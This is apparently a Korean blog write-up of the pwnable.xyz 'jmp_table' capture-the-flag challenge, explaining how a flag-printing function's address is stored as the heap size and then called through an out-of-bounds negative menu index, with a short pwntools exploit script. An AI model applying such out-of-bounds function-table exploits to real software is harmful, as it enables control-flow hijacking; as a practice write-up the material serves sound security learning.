- 힙 할당
- 힙 해제
- 쓰기
- 읽기
- exit
각 함수라 vtable에 저장되어 있어 vatble을 통해 각 함수에 접근한다
할당된 힙의 size는 전역변수 size에 저장시켜 read할때 overflow를 방지한다
size에 플래그를 출력시켜주는 함수로 주고 OOB로 접근해서 해당 함수가 호출되도록 했다
from pwn import *
p = process("./jmp_table")
def do_malloc(length):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Size: ")
p.sendline(str(length))
do_malloc(0x400A31)
p.recvuntil(b"> ")
p.sendline(b"-2")
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / Game (0) | 2022.05.12 |
---|---|
pwnable.xyz / l33t-ness (0) | 2022.05.11 |
pwnable.xyz / TLSv00 (0) | 2022.05.11 |
pwnable.xyz / free spirit (0) | 2022.05.10 |
pwnable.xyz / two_target (0) | 2022.05.07 |